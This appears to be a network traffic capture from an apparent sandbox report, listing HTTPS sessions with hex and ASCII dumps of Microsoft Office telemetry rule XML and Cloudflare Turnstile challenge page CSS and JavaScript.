2024-10-07 19:53:08 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49737	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b27588a3-a01e-003d-6001-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195308Z-1657d5bbd4824mj9d6vp65b6n4000000045g00000000b0m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49740	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	796	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://z2k.3kf2d.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:09 UTC	1369	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 164872 Connection: close critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp origin-agent-cluster: ?1 content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin document-policy: js-profiling
2024-10-07 19:53:09 UTC	52	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 66 30 36 66 38 38 30 65 37 32 38 63 63 61 2d 45 57 52 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8cf06f880e728cca-EWR
2024-10-07 19:53:09 UTC	1317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 25 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 Data Ascii: %;margin:0;overflow:hidden;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-web
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 20 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 Data Ascii: ght:30px;width:30px}#success-pre-i line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;st
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e Data Ascii: allenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challen
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 Data Ascii: dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 7d 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 70 78 7d 2e 66 61 69 6c 75 72 65 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 Data Ascii: ,#challenge-overlay a:link,#challenge-overlay a:visited{color:#232323}#challenge-overlay a:active,#challenge-overlay a:focus,#challenge-overlay a:hover{color:#166379}#logo{height:25px;margin-bottom:1px}.failure-circle{stroke-dasharray:166;stroke-dashoffse
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 6e 3a 61 6c 6c 20 2e 31 73 20 65 61 73 65 2d 69 6e 3b 77 69 64 74 68 3a 32 34 70 78 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 38 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 6c 62 2d 74 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c Data Ascii: n:all .1s ease-in;width:24px;z-index:9998}.cb-lb .cb-i:after{border-radius:5px;content:"";position:absolute}.cb-lb .cb-lb-t{grid-column:2;margin-left:8px}.size-compact{font-size:14px}.size-compact #content{align-items:flex-start;display:flex;flex-flow:col
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 72 74 6c 7d 2e 72 74 6c 20 2e 63 62 2d 6c 62 2d 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 2c 2e 72 74 6c 20 23 66 61 69 6c 2d 69 2c 2e 72 74 6c 20 23 6f 76 65 72 72 75 6e 2d 69 2c 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 2c 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 2c 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 Data Ascii: rtl}.rtl .cb-lb-t{margin-left:0;margin-right:8px;padding:0}.rtl #expired-i,.rtl #fail-i,.rtl #overrun-i,.rtl #spinner-i,.rtl #success-i,.rtl #timeout-i{left:255px}.rtl #fr-helper{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c Data Ascii: challenge-error-title a{color:#232323}#challenge-error-title a:active,#challenge-error-title a:focus,#challenge-error-title a:hover{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#chall

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49747	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	383	OUT	GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:09 UTC	441	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47262 Connection: close accept-ranges: bytes last-modified: Tue, 17 Sep 2024 16:06:37 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8cf06f89faeb236a-EWR
2024-10-07 19:53:09 UTC	928	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 67 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 61 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);funct
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 Data Ascii: ct.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function tt(e,r){return r=r!=null?r:{},Object.getOwnPropertyD
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 48 74 28 65 29 7c 7c 42 74 28 65 2c 72 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 6a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 5d 26 31 29 74 68 72 6f 77 20 6c 5b 31 5d 3b 72 65 74 75 72 6e 20 6c 5b 31 5d 7d 2c 74 72 Data Ascii: function Ae(e,r){return Ht(e)\|\|Bt(e,r)\|\|qt(e,r)\|\|jt()}function P(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var a={label:0,sent:function(){if(l[0]&1)throw l[1];return l[1]},tr
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 47 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c Data Ascii: oaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Gt=300020;var Pe=300030;var Ue=300031;var q;(function(e){e.MANAGED="managed",
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 Data Ascii: al",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(function(e){e.EXECUTE="execute"})
